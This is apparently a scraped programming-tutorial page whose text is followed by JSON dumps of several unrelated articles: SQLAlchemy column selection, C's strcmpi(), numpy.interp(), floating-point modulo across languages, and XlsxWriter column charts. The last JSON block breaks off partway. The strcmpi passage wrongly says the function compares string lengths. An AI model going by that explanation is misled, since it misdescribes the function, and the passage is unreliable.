For our examples, we have already created a Students table which we will be using:
Syntax: sqlalchemy.select(*entities)
Where: Entities to SELECT from. This is typically a series of ColumnElement for Core usage and ORM-mapped classes for ORM usage.
In this example, we have used the SQLAlchemy Core. The already created students table is referred which contains 4 columns, namely, first_name, last_name, course, score. But we will be only selecting a specific column. In the example, we have referred to the first_name and last_name columns. Other columns can also be provided in the entities list.
Python
import sqlalchemy as db # Define the Engine (Connection Object)engine = db.create_engine("mysql+pymysql://\root:password@localhost/Geeks4Geeks") # Create the Metadata Objectmeta_data = db.MetaData(bind=engine)db.MetaData.reflect(meta_data) # Get the `students` table from the Metadata objectSTUDENTS = meta_data.tables['students'] # SQLAlchemy Query to SELECT specific columnquery = db.select([ STUDENTS.c.first_name, STUDENTS.c.last_name]) # Fetch all the recordsresult = engine.execute(query).fetchall() # View the recordsfor record in result: print("\n", record[0], record[1])
Output:
Output – SQLAlchemy Core
In this example is similar to the previous one except for the fact that it is built on SQLAlchemy ORM. SQLAlchemy ORM is a more pythonic implementation of the SQLAlchemy, as you can see in the code, that we have created a Python class to refer to the student table. The syntax is same in both cases with a minor change in the way we are defining the column names. The columns in ORM are defined using ORM-mapped classes. The output is same for both as we have taken first_name and last_name columns in this example as well.
Python
import sqlalchemy as dbfrom sqlalchemy.ext.declarative import declarative_base Base = declarative_base() # DEFINE THE ENGINE (CONNECTION OBJECT)engine = db.create_engine("mysql+pymysql:/\/root:password@localhost/Geeks4Geeks") # CREATE THE TABLE MODEL TO USE IT FOR QUERYINGclass Students(Base): __tablename__ = 'students' first_name = db.Column(db.String(50), primary_key=True) last_name = db.Column(db.String(50), primary_key=True) course = db.Column(db.String(50)) score = db.Column(db.Float) # SQLAlCHEMY CORE QUERY TO FETCH SPECIFIC COLUMNSquery = db.select([Students.first_name, Students.last_name]) # FETCH ALL THE RECORDS IN THE RESPONSEresult = engine.execute(query).fetchall() # VIEW THE ENTRIES IN THE RESULTfor record in result: print(record[0], record[1])
Output:
nikhatkhan11
Picked
Python SQLAlchemy-Core
Python SQLAlchemy-ORM
Python-SQLAlchemy
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Python Classes and Objects
Python OOPs Concepts
Introduction To PYTHON
How to drop one or multiple columns in Pandas Dataframe
Python | os.path.join() method
How To Convert Python Dictionary To JSON?
Check if element exists in list in Python
Python | datetime.timedelta() function
Python | Get unique values from a list
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n22 Jun, 2022"
},
{
"code": null,
"e": 126,
"s": 28,
"text": "In this article, we will see how to query and select specific columns using SQLAlchemy in Python."
},
{
"code": null,
"e": 209,
"s": 126,
"text": "For our examples, we have already created a Students table which we will be using:"
},
{
"code": null,
"e": 246,
"s": 209,
"text": "Syntax: sqlalchemy.select(*entities)"
},
{
"code": null,
"e": 375,
"s": 246,
"text": "Where: Entities to SELECT from. This is typically a series of ColumnElement for Core usage and ORM-mapped classes for ORM usage."
},
{
"code": null,
"e": 725,
"s": 375,
"text": "In this example, we have used the SQLAlchemy Core. The already created students table is referred which contains 4 columns, namely, first_name, last_name, course, score. But we will be only selecting a specific column. In the example, we have referred to the first_name and last_name columns. Other columns can also be provided in the entities list."
},
{
"code": null,
"e": 732,
"s": 725,
"text": "Python"
},
{
"code": "import sqlalchemy as db # Define the Engine (Connection Object)engine = db.create_engine(\"mysql+pymysql://\\root:password@localhost/Geeks4Geeks\") # Create the Metadata Objectmeta_data = db.MetaData(bind=engine)db.MetaData.reflect(meta_data) # Get the `students` table from the Metadata objectSTUDENTS = meta_data.tables['students'] # SQLAlchemy Query to SELECT specific columnquery = db.select([ STUDENTS.c.first_name, STUDENTS.c.last_name]) # Fetch all the recordsresult = engine.execute(query).fetchall() # View the recordsfor record in result: print(\"\\n\", record[0], record[1])",
"e": 1321,
"s": 732,
"text": null
},
{
"code": null,
"e": 1329,
"s": 1321,
"text": "Output:"
},
{
"code": null,
"e": 1354,
"s": 1329,
"text": "Output – SQLAlchemy Core"
},
{
"code": null,
"e": 1878,
"s": 1354,
"text": "In this example is similar to the previous one except for the fact that it is built on SQLAlchemy ORM. SQLAlchemy ORM is a more pythonic implementation of the SQLAlchemy, as you can see in the code, that we have created a Python class to refer to the student table. The syntax is same in both cases with a minor change in the way we are defining the column names. The columns in ORM are defined using ORM-mapped classes. The output is same for both as we have taken first_name and last_name columns in this example as well."
},
{
"code": null,
"e": 1885,
"s": 1878,
"text": "Python"
},
{
"code": "import sqlalchemy as dbfrom sqlalchemy.ext.declarative import declarative_base Base = declarative_base() # DEFINE THE ENGINE (CONNECTION OBJECT)engine = db.create_engine(\"mysql+pymysql:/\\/root:password@localhost/Geeks4Geeks\") # CREATE THE TABLE MODEL TO USE IT FOR QUERYINGclass Students(Base): __tablename__ = 'students' first_name = db.Column(db.String(50), primary_key=True) last_name = db.Column(db.String(50), primary_key=True) course = db.Column(db.String(50)) score = db.Column(db.Float) # SQLAlCHEMY CORE QUERY TO FETCH SPECIFIC COLUMNSquery = db.select([Students.first_name, Students.last_name]) # FETCH ALL THE RECORDS IN THE RESPONSEresult = engine.execute(query).fetchall() # VIEW THE ENTRIES IN THE RESULTfor record in result: print(record[0], record[1])",
"e": 2735,
"s": 1885,
"text": null
},
{
"code": null,
"e": 2743,
"s": 2735,
"text": "Output:"
},
{
"code": null,
"e": 2756,
"s": 2743,
"text": "nikhatkhan11"
},
{
"code": null,
"e": 2763,
"s": 2756,
"text": "Picked"
},
{
"code": null,
"e": 2786,
"s": 2763,
"text": "Python SQLAlchemy-Core"
},
{
"code": null,
"e": 2808,
"s": 2786,
"text": "Python SQLAlchemy-ORM"
},
{
"code": null,
"e": 2826,
"s": 2808,
"text": "Python-SQLAlchemy"
},
{
"code": null,
"e": 2833,
"s": 2826,
"text": "Python"
},
{
"code": null,
"e": 2931,
"s": 2833,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 2963,
"s": 2931,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 2990,
"s": 2963,
"text": "Python Classes and Objects"
},
{
"code": null,
"e": 3011,
"s": 2990,
"text": "Python OOPs Concepts"
},
{
"code": null,
"e": 3034,
"s": 3011,
"text": "Introduction To PYTHON"
},
{
"code": null,
"e": 3090,
"s": 3034,
"text": "How to drop one or multiple columns in Pandas Dataframe"
},
{
"code": null,
"e": 3121,
"s": 3090,
"text": "Python | os.path.join() method"
},
{
"code": null,
"e": 3163,
"s": 3121,
"text": "How To Convert Python Dictionary To JSON?"
},
{
"code": null,
"e": 3205,
"s": 3163,
"text": "Check if element exists in list in Python"
},
{
"code": null,
"e": 3244,
"s": 3205,
"text": "Python | datetime.timedelta() function"
}
] |
strcmpi() function in C
|
04 Oct, 2018
The strcmpi() function is a built-in function in C and is defined in the “string.h” header file. The strcmpi() function is same as that of the strcmp() function but the only difference is that strcmpi() function is not case sensitive and on the other hand strcmp() function is the case sensitive.
Syntax:
int strcmpi (const char * str1, const char * str2 );
Parameters:
str1: The first string.
str2: The second string.
Returns: This function returns 0 if the given two strings are same, a negative value if the length of str1 is less then the length of str2 and if the length of str1 is greater then str2 then this function returns a positive value.
Note: This is a non-standard function that works only with older versions of Microsoft C.
Below programs illustrate the strcmpi() function in C:
Program 1:
// C program to demonstrate// example of strcmpi() function #include <stdio.h>#include <string.h> int main( ){ char str1[] = "geeks" ; char str2[] = "geeks" ; int j = strcmpi ( str1, str2 ) ; printf ( "The function returns = %d",j ) ; return 0;}
Output:
The function returns = 0
Program 2:
// C program to demonstrate// example of strcmpi() function #include <stdio.h>#include <string.h> int main( ){ char str1[ ] = "geeks" ; char str2[ ] = "ForGeeks" ; int i = strcmpi ( str1, str2 ) ; printf ( "The function returns = %d", i ) ; return 0;}
Output:
The function returns = 1
C-Functions
C-Library
C-String
C Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Unordered Sets in C++ Standard Template Library
Operators in C / C++
What is the purpose of a function prototype?
Exception Handling in C++
TCP Server-Client implementation in C
Smart Pointers in C++ and How to Use Them
Ways to copy a vector in C++
'this' pointer in C++
Storage Classes in C
Arrow operator -> in C/C++ with Examples
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n04 Oct, 2018"
},
{
"code": null,
"e": 325,
"s": 28,
"text": "The strcmpi() function is a built-in function in C and is defined in the “string.h” header file. The strcmpi() function is same as that of the strcmp() function but the only difference is that strcmpi() function is not case sensitive and on the other hand strcmp() function is the case sensitive."
},
{
"code": null,
"e": 333,
"s": 325,
"text": "Syntax:"
},
{
"code": null,
"e": 387,
"s": 333,
"text": "int strcmpi (const char * str1, const char * str2 );\n"
},
{
"code": null,
"e": 399,
"s": 387,
"text": "Parameters:"
},
{
"code": null,
"e": 423,
"s": 399,
"text": "str1: The first string."
},
{
"code": null,
"e": 448,
"s": 423,
"text": "str2: The second string."
},
{
"code": null,
"e": 679,
"s": 448,
"text": "Returns: This function returns 0 if the given two strings are same, a negative value if the length of str1 is less then the length of str2 and if the length of str1 is greater then str2 then this function returns a positive value."
},
{
"code": null,
"e": 769,
"s": 679,
"text": "Note: This is a non-standard function that works only with older versions of Microsoft C."
},
{
"code": null,
"e": 824,
"s": 769,
"text": "Below programs illustrate the strcmpi() function in C:"
},
{
"code": null,
"e": 835,
"s": 824,
"text": "Program 1:"
},
{
"code": "// C program to demonstrate// example of strcmpi() function #include <stdio.h>#include <string.h> int main( ){ char str1[] = \"geeks\" ; char str2[] = \"geeks\" ; int j = strcmpi ( str1, str2 ) ; printf ( \"The function returns = %d\",j ) ; return 0;}",
"e": 1103,
"s": 835,
"text": null
},
{
"code": null,
"e": 1111,
"s": 1103,
"text": "Output:"
},
{
"code": null,
"e": 1137,
"s": 1111,
"text": "The function returns = 0\n"
},
{
"code": null,
"e": 1148,
"s": 1137,
"text": "Program 2:"
},
{
"code": "// C program to demonstrate// example of strcmpi() function #include <stdio.h>#include <string.h> int main( ){ char str1[ ] = \"geeks\" ; char str2[ ] = \"ForGeeks\" ; int i = strcmpi ( str1, str2 ) ; printf ( \"The function returns = %d\", i ) ; return 0;}",
"e": 1416,
"s": 1148,
"text": null
},
{
"code": null,
"e": 1424,
"s": 1416,
"text": "Output:"
},
{
"code": null,
"e": 1450,
"s": 1424,
"text": "The function returns = 1\n"
},
{
"code": null,
"e": 1462,
"s": 1450,
"text": "C-Functions"
},
{
"code": null,
"e": 1472,
"s": 1462,
"text": "C-Library"
},
{
"code": null,
"e": 1481,
"s": 1472,
"text": "C-String"
},
{
"code": null,
"e": 1492,
"s": 1481,
"text": "C Language"
},
{
"code": null,
"e": 1590,
"s": 1492,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 1638,
"s": 1590,
"text": "Unordered Sets in C++ Standard Template Library"
},
{
"code": null,
"e": 1659,
"s": 1638,
"text": "Operators in C / C++"
},
{
"code": null,
"e": 1704,
"s": 1659,
"text": "What is the purpose of a function prototype?"
},
{
"code": null,
"e": 1730,
"s": 1704,
"text": "Exception Handling in C++"
},
{
"code": null,
"e": 1768,
"s": 1730,
"text": "TCP Server-Client implementation in C"
},
{
"code": null,
"e": 1810,
"s": 1768,
"text": "Smart Pointers in C++ and How to Use Them"
},
{
"code": null,
"e": 1839,
"s": 1810,
"text": "Ways to copy a vector in C++"
},
{
"code": null,
"e": 1861,
"s": 1839,
"text": "'this' pointer in C++"
},
{
"code": null,
"e": 1882,
"s": 1861,
"text": "Storage Classes in C"
}
] |
numpy.interp() function – Python
|
11 Jun, 2020
numpy.interp() function returns the one-dimensional piecewise linear interpolant to a function with given discrete data points (xp, fp), evaluated at x.
Syntax : numpy.interp(x, xp, fp, left = None, right = None, period = None)
Parameters :x : [array_like] The x-coordinates at which to evaluate the interpolated values.xp: [1-D sequence of floats] The x-coordinates of the data points, must be increasing if the argument period is not specified. Otherwise, xp is internally sorted after normalizing the periodic boundaries with xp = xp % period.fp : [1-D sequence of float or complex] The y-coordinates of the data points, same length as xp.left : [optional float or complex corresponding to fp] Value to return for x < xp[0], default is fp[0].right : [optional float or complex corresponding to fp] Value to return for x > xp[-1], default is fp[-1].period : [None or float, optional] A period for the x-coordinates. This parameter allows the proper interpolation of angular x-coordinates. Parameters left and right are ignored if the period is specified.
Return : [float or complex or ndarray] The interpolated values, same shape as x.
Code #1 :
# Python program explaining# numpy.interp() function # importing numpy as geek import numpy as geek x = 3.6xp = [2, 4, 6]fp = [1, 3, 5] gfg = geek.interp(x, xp, fp) print (gfg)
Output :
2.6
Code #2 :
# Python program explaining# numpy.interp() function # importing numpy as geek import numpy as geek x = [0, 1, 2.5, 2.72, 3.14]xp = [2, 4, 6]fp = [1, 3, 5] gfg = geek.interp(x, xp, fp) print (gfg)
Output :
[1. 1. 1.5 1.72 2.14]
Python numpy-ndarray
Python-numpy
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n11 Jun, 2020"
},
{
"code": null,
"e": 205,
"s": 52,
"text": "numpy.interp() function returns the one-dimensional piecewise linear interpolant to a function with given discrete data points (xp, fp), evaluated at x."
},
{
"code": null,
"e": 280,
"s": 205,
"text": "Syntax : numpy.interp(x, xp, fp, left = None, right = None, period = None)"
},
{
"code": null,
"e": 1109,
"s": 280,
"text": "Parameters :x : [array_like] The x-coordinates at which to evaluate the interpolated values.xp: [1-D sequence of floats] The x-coordinates of the data points, must be increasing if the argument period is not specified. Otherwise, xp is internally sorted after normalizing the periodic boundaries with xp = xp % period.fp : [1-D sequence of float or complex] The y-coordinates of the data points, same length as xp.left : [optional float or complex corresponding to fp] Value to return for x < xp[0], default is fp[0].right : [optional float or complex corresponding to fp] Value to return for x > xp[-1], default is fp[-1].period : [None or float, optional] A period for the x-coordinates. This parameter allows the proper interpolation of angular x-coordinates. Parameters left and right are ignored if the period is specified."
},
{
"code": null,
"e": 1190,
"s": 1109,
"text": "Return : [float or complex or ndarray] The interpolated values, same shape as x."
},
{
"code": null,
"e": 1200,
"s": 1190,
"text": "Code #1 :"
},
{
"code": "# Python program explaining# numpy.interp() function # importing numpy as geek import numpy as geek x = 3.6xp = [2, 4, 6]fp = [1, 3, 5] gfg = geek.interp(x, xp, fp) print (gfg)",
"e": 1389,
"s": 1200,
"text": null
},
{
"code": null,
"e": 1398,
"s": 1389,
"text": "Output :"
},
{
"code": null,
"e": 1403,
"s": 1398,
"text": "2.6\n"
},
{
"code": null,
"e": 1414,
"s": 1403,
"text": " Code #2 :"
},
{
"code": "# Python program explaining# numpy.interp() function # importing numpy as geek import numpy as geek x = [0, 1, 2.5, 2.72, 3.14]xp = [2, 4, 6]fp = [1, 3, 5] gfg = geek.interp(x, xp, fp) print (gfg)",
"e": 1623,
"s": 1414,
"text": null
},
{
"code": null,
"e": 1632,
"s": 1623,
"text": "Output :"
},
{
"code": null,
"e": 1660,
"s": 1632,
"text": "[1. 1. 1.5 1.72 2.14]\n"
},
{
"code": null,
"e": 1681,
"s": 1660,
"text": "Python numpy-ndarray"
},
{
"code": null,
"e": 1694,
"s": 1681,
"text": "Python-numpy"
},
{
"code": null,
"e": 1701,
"s": 1694,
"text": "Python"
}
] |
Can we use % operator on floating point numbers?
|
02 Jun, 2017
Predict the output of following program:
Can % be used with floating point numbers in C++?
#include <iostream>int main(){ float f = 9.9f, m = 3.3f; float c = f % m; // LINE 5 std::cout << c; return 0;}
The above program fails in compilation and compiler report the following error in line 5:Output:
invalid operands of types 'float' and 'float'
to binary 'operator%'
% operator cannot be used with floating point numbers in C & C++.
What about Java and C#?This behavior is different in Java & C#. % operator can be used on floating point numbers in these languages.
Consider following example of Java program:
class Test{ public static void main(String args[]) { float f = 9.9f, m = 3.3f; float c = f % m; System.out.println(c); }}
Output:
3.2999997
Same way try this C# program. It works fine:
using System;class Test{ public static void Main() { float f = 9.9f, m = 3.3f; float c = f % m; Console.WriteLine(c); }}
Output:
3.3
This article is contributed by Meet Pravasi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
cpp-data-types
cpp-operator
C++
cpp-operator
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Sorting a vector in C++
Polymorphism in C++
Pair in C++ Standard Template Library (STL)
Friend class and function in C++
std::string class in C++
Queue in C++ Standard Template Library (STL)
std::find in C++
Unordered Sets in C++ Standard Template Library
List in C++ Standard Template Library (STL)
vector insert() function in C++ STL
|
[
{
"code": null,
"e": 53,
"s": 25,
"text": "\n02 Jun, 2017"
},
{
"code": null,
"e": 94,
"s": 53,
"text": "Predict the output of following program:"
},
{
"code": null,
"e": 144,
"s": 94,
"text": "Can % be used with floating point numbers in C++?"
},
{
"code": "#include <iostream>int main(){ float f = 9.9f, m = 3.3f; float c = f % m; // LINE 5 std::cout << c; return 0;}",
"e": 268,
"s": 144,
"text": null
},
{
"code": null,
"e": 365,
"s": 268,
"text": "The above program fails in compilation and compiler report the following error in line 5:Output:"
},
{
"code": null,
"e": 435,
"s": 365,
"text": "invalid operands of types 'float' and 'float' \nto binary 'operator%' "
},
{
"code": null,
"e": 501,
"s": 435,
"text": "% operator cannot be used with floating point numbers in C & C++."
},
{
"code": null,
"e": 634,
"s": 501,
"text": "What about Java and C#?This behavior is different in Java & C#. % operator can be used on floating point numbers in these languages."
},
{
"code": null,
"e": 678,
"s": 634,
"text": "Consider following example of Java program:"
},
{
"code": "class Test{ public static void main(String args[]) { float f = 9.9f, m = 3.3f; float c = f % m; System.out.println(c); }}",
"e": 830,
"s": 678,
"text": null
},
{
"code": null,
"e": 838,
"s": 830,
"text": "Output:"
},
{
"code": null,
"e": 848,
"s": 838,
"text": "3.2999997"
},
{
"code": null,
"e": 893,
"s": 848,
"text": "Same way try this C# program. It works fine:"
},
{
"code": "using System;class Test{ public static void Main() { float f = 9.9f, m = 3.3f; float c = f % m; Console.WriteLine(c); }}",
"e": 1044,
"s": 893,
"text": null
},
{
"code": null,
"e": 1052,
"s": 1044,
"text": "Output:"
},
{
"code": null,
"e": 1056,
"s": 1052,
"text": "3.3"
},
{
"code": null,
"e": 1225,
"s": 1056,
"text": "This article is contributed by Meet Pravasi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above"
},
{
"code": null,
"e": 1240,
"s": 1225,
"text": "cpp-data-types"
},
{
"code": null,
"e": 1253,
"s": 1240,
"text": "cpp-operator"
},
{
"code": null,
"e": 1257,
"s": 1253,
"text": "C++"
},
{
"code": null,
"e": 1270,
"s": 1257,
"text": "cpp-operator"
},
{
"code": null,
"e": 1274,
"s": 1270,
"text": "CPP"
},
{
"code": null,
"e": 1372,
"s": 1274,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 1396,
"s": 1372,
"text": "Sorting a vector in C++"
},
{
"code": null,
"e": 1416,
"s": 1396,
"text": "Polymorphism in C++"
},
{
"code": null,
"e": 1460,
"s": 1416,
"text": "Pair in C++ Standard Template Library (STL)"
},
{
"code": null,
"e": 1493,
"s": 1460,
"text": "Friend class and function in C++"
},
{
"code": null,
"e": 1518,
"s": 1493,
"text": "std::string class in C++"
},
{
"code": null,
"e": 1563,
"s": 1518,
"text": "Queue in C++ Standard Template Library (STL)"
},
{
"code": null,
"e": 1580,
"s": 1563,
"text": "std::find in C++"
},
{
"code": null,
"e": 1628,
"s": 1580,
"text": "Unordered Sets in C++ Standard Template Library"
},
{
"code": null,
"e": 1672,
"s": 1628,
"text": "List in C++ Standard Template Library (STL)"
}
] |
Python | Plotting column charts in excel sheet using XlsxWriter module
|
19 May, 2021
Prerequisite: Create and Write on an excel file.XlsxWriter is a Python library using which one can perform multiple operations on excel files like creating, writing, arithmetic operations and plotting graphs. Let’s see how to plot different type of Column charts using realtime data. Charts are composed of at least one series of one or more data points. Series themselves are comprised of references to cell ranges.For plotting the charts on an excel sheet, firstly, create chart object of specific chart type( i.e Column, Stacked Column, Percent Stacked Column chart etc.). After creating chart objects, insert data in it and lastly, add that chart object in the sheet object. Code #1 : Plot the simple Column Chart.For plotting the simple Column chart on an excel sheet, use add_chart() method with type ‘column’ keyword argument of a workbook object.
Python3
# import xlsxwriter moduleimport xlsxwriter # Workbook() takes one, non-optional, argument # which is the filename that we want to create.workbook = xlsxwriter.Workbook('chart_column.xlsx') # The workbook object is then used to add new # worksheet via the add_worksheet() method. worksheet = workbook.add_worksheet() # Create a new Format object to formats cells# in worksheets using add_format() method . # here we create bold format object .bold = workbook.add_format({'bold': 1}) # create a data list .headings = ['Number', 'Batch 1', 'Batch 2'] data = [ [2, 3, 4, 5, 6, 7], [80, 80, 100, 60, 50, 100], [60, 50, 60, 20, 10, 20],] # Write a row of data starting from 'A1'# with bold format .worksheet.write_row('A1', headings, bold) # Write a column of data starting from # 'A2', 'B2', 'C2' respectively .worksheet.write_column('A2', data[0])worksheet.write_column('B2', data[1])worksheet.write_column('C2', data[2]) # Create a chart object that can be added# to a worksheet using add_chart() method. # here we create a column chart object .chart1 = workbook.add_chart({'type': 'column'}) # Add a data series to a chart# using add_series method. # Configure the first series.# = Sheet1 !$A$1 is equivalent to ['Sheet1', 0, 0]. # note : spaces is not inserted in b / w# = and Sheet1, Sheet1 and !# if space is inserted it throws warning.chart1.add_series({ 'name': '= Sheet1 !$B$1', 'categories': '= Sheet1 !$A$2:$A$7', 'values': '= Sheet1 !$B$2:$B$7',}) # Configure a second series.# Note use of alternative syntax to define ranges.# [sheetname, first_row, first_col, last_row, last_col].chart1.add_series({ 'name': ['Sheet1', 0, 2], 'categories': ['Sheet1', 1, 0, 6, 0], 'values': ['Sheet1', 1, 2, 6, 2],}) # Add a chart title chart1.set_title ({'name': 'Results of data analysis'}) # Add x-axis labelchart1.set_x_axis({'name': 'Test number'}) # Add y-axis labelchart1.set_y_axis({'name': 'Data length (mm)'}) # Set an Excel chart style.chart1.set_style(11) # add chart to the worksheet # the top-left corner of a chart # is anchored to cell E2 . worksheet.insert_chart('E2', chart1) # Finally, close the Excel file # via the close() method. workbook.close()
Output:
Code #2 : Plot the Stacked Column Chart.For plotting the Stacked Column chart on an excel sheet, use add_chart() method with type ‘column’ and subtype ‘stacked’ keyword argument of a workbook object.
Python3
# import xlsxwriter moduleimport xlsxwriter # Workbook() takes one, non-optional, argument # which is the filename that we want to create.workbook = xlsxwriter.Workbook('chart_column2.xlsx') # The workbook object is then used to add new # worksheet via the add_worksheet() method. worksheet = workbook.add_worksheet() # Create a new Format object to formats cells# in worksheets using add_format() method . # here we create bold format object .bold = workbook.add_format({'bold': 1}) # create a data list .headings = ['Number', 'Batch 1', 'Batch 2'] data = [ [2, 3, 4, 5, 6, 7], [80, 80, 100, 60, 50, 100], [60, 50, 60, 20, 10, 20],] # Write a row of data starting from 'A1'# with bold format .worksheet.write_row('A1', headings, bold) # Write a column of data starting from# 'A2', 'B2', 'C2' respectively .worksheet.write_column('A2', data[0])worksheet.write_column('B2', data[1])worksheet.write_column('C2', data[2]) # Create a chart object that can be added# to a worksheet using add_chart() method. # here we create a stacked Column chart object .chart1 = workbook.add_chart({'type': 'column', 'subtype': 'stacked'}) # Add a data series to a chart# using add_series method. # Configure the first series.# = Sheet1 !$A$1 is equivalent to ['Sheet1', 0, 0].chart1.add_series({ 'name': '= Sheet1 !$B$1', 'categories': '= Sheet1 !$A$2:$A$7', 'values': '= Sheet1 !$B$2:$B$7',}) # Configure a second series.# Note use of alternative syntax to define ranges.# [sheetname, first_row, first_col, last_row, last_col].chart1.add_series({ 'name': ['Sheet1', 0, 2], 'categories': ['Sheet1', 1, 0, 6, 0], 'values': ['Sheet1', 1, 2, 6, 2],}) # Add a chart title chart1.set_title ({'name': 'Results of data analysis'}) # Add x-axis labelchart1.set_x_axis({'name': 'Test number'}) # Add y-axis labelchart1.set_y_axis({'name': 'Data length (mm)'}) # Set an Excel chart style.chart1.set_style(11) # add chart to the worksheet # the top-left corner of a chart # is anchored to cell E2 . worksheet.insert_chart('E2', chart1) # Finally, close the Excel file # via the close() method. workbook.close()
Output:
Code #3 : Plot the Percent Stacked Column Chart.For plotting the Percent Stacked Column chart on an excel sheet, use add_chart() method with type ‘Column’ and subtype ‘percent_stacked’ keyword argument of a workbook object.
Python3
# import xlsxwriter moduleimport xlsxwriter # Workbook() takes one, non-optional, argument # which is the filename that we want to create.workbook = xlsxwriter.Workbook('chart_column3.xlsx') # The workbook object is then used to add new # worksheet via the add_worksheet() method. worksheet = workbook.add_worksheet() # Create a new Format object to formats cells# in worksheets using add_format() method . # here we create bold format object .bold = workbook.add_format({'bold': 1}) # create a data list .headings = ['Number', 'Batch 1', 'Batch 2'] data = [ [2, 3, 4, 5, 6, 7], [80, 80, 100, 60, 50, 100], [60, 50, 60, 20, 10, 20],] # Write a row of data starting from 'A1'# with bold format .worksheet.write_row('A1', headings, bold) # Write a column of data starting from# 'A2', 'B2', 'C2' respectively .worksheet.write_column('A2', data[0])worksheet.write_column('B2', data[1])worksheet.write_column('C2', data[2]) # Create a chart object that can be added# to a worksheet using add_chart() method. # here we create a percent stacked Column chart object .chart1 = workbook.add_chart({'type': 'column', 'subtype': 'percent_stacked'}) # Add a data series to a chart# using add_series method. # Configure the first series.# = Sheet1 !$A$1 is equivalent to ['Sheet1', 0, 0].chart1.add_series({ 'name': '= Sheet1 !$B$1', 'categories': '= Sheet1 !$A$2:$A$7', 'values': '= Sheet1 !$B$2:$B$7',}) # Configure a second series.# Note use of alternative syntax to define ranges.# [sheetname, first_row, first_col, last_row, last_col].chart1.add_series({ 'name': ['Sheet1', 0, 2], 'categories': ['Sheet1', 1, 0, 6, 0], 'values': ['Sheet1', 1, 2, 6, 2],}) # Add a chart title chart1.set_title ({'name': 'Results of data analysis'}) # Add x-axis labelchart1.set_x_axis({'name': 'Test number'}) # Add y-axis labelchart1.set_y_axis({'name': 'Data length (mm)'}) # Set an Excel chart style.chart1.set_style(11) # add chart to the worksheet # the top-left corner of a chart # is anchored to cell E2 . worksheet.insert_chart('E2', chart1) # Finally, close the Excel file # via the close() method. workbook.close()
Output:
anikaseth98
Python-excel
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n19 May, 2021"
},
{
"code": null,
"e": 885,
"s": 28,
"text": "Prerequisite: Create and Write on an excel file.XlsxWriter is a Python library using which one can perform multiple operations on excel files like creating, writing, arithmetic operations and plotting graphs. Let’s see how to plot different type of Column charts using realtime data. Charts are composed of at least one series of one or more data points. Series themselves are comprised of references to cell ranges.For plotting the charts on an excel sheet, firstly, create chart object of specific chart type( i.e Column, Stacked Column, Percent Stacked Column chart etc.). After creating chart objects, insert data in it and lastly, add that chart object in the sheet object. Code #1 : Plot the simple Column Chart.For plotting the simple Column chart on an excel sheet, use add_chart() method with type ‘column’ keyword argument of a workbook object. "
},
{
"code": null,
"e": 893,
"s": 885,
"text": "Python3"
},
{
"code": "# import xlsxwriter moduleimport xlsxwriter # Workbook() takes one, non-optional, argument # which is the filename that we want to create.workbook = xlsxwriter.Workbook('chart_column.xlsx') # The workbook object is then used to add new # worksheet via the add_worksheet() method. worksheet = workbook.add_worksheet() # Create a new Format object to formats cells# in worksheets using add_format() method . # here we create bold format object .bold = workbook.add_format({'bold': 1}) # create a data list .headings = ['Number', 'Batch 1', 'Batch 2'] data = [ [2, 3, 4, 5, 6, 7], [80, 80, 100, 60, 50, 100], [60, 50, 60, 20, 10, 20],] # Write a row of data starting from 'A1'# with bold format .worksheet.write_row('A1', headings, bold) # Write a column of data starting from # 'A2', 'B2', 'C2' respectively .worksheet.write_column('A2', data[0])worksheet.write_column('B2', data[1])worksheet.write_column('C2', data[2]) # Create a chart object that can be added# to a worksheet using add_chart() method. # here we create a column chart object .chart1 = workbook.add_chart({'type': 'column'}) # Add a data series to a chart# using add_series method. # Configure the first series.# = Sheet1 !$A$1 is equivalent to ['Sheet1', 0, 0]. # note : spaces is not inserted in b / w# = and Sheet1, Sheet1 and !# if space is inserted it throws warning.chart1.add_series({ 'name': '= Sheet1 !$B$1', 'categories': '= Sheet1 !$A$2:$A$7', 'values': '= Sheet1 !$B$2:$B$7',}) # Configure a second series.# Note use of alternative syntax to define ranges.# [sheetname, first_row, first_col, last_row, last_col].chart1.add_series({ 'name': ['Sheet1', 0, 2], 'categories': ['Sheet1', 1, 0, 6, 0], 'values': ['Sheet1', 1, 2, 6, 2],}) # Add a chart title chart1.set_title ({'name': 'Results of data analysis'}) # Add x-axis labelchart1.set_x_axis({'name': 'Test number'}) # Add y-axis labelchart1.set_y_axis({'name': 'Data length (mm)'}) # Set an Excel chart style.chart1.set_style(11) # add chart to the worksheet # the top-left corner of a chart # is anchored to cell E2 . worksheet.insert_chart('E2', chart1) # Finally, close the Excel file # via the close() method. workbook.close()",
"e": 3142,
"s": 893,
"text": null
},
{
"code": null,
"e": 3152,
"s": 3142,
"text": "Output: "
},
{
"code": null,
"e": 3356,
"s": 3152,
"text": " Code #2 : Plot the Stacked Column Chart.For plotting the Stacked Column chart on an excel sheet, use add_chart() method with type ‘column’ and subtype ‘stacked’ keyword argument of a workbook object. "
},
{
"code": null,
"e": 3364,
"s": 3356,
"text": "Python3"
},
{
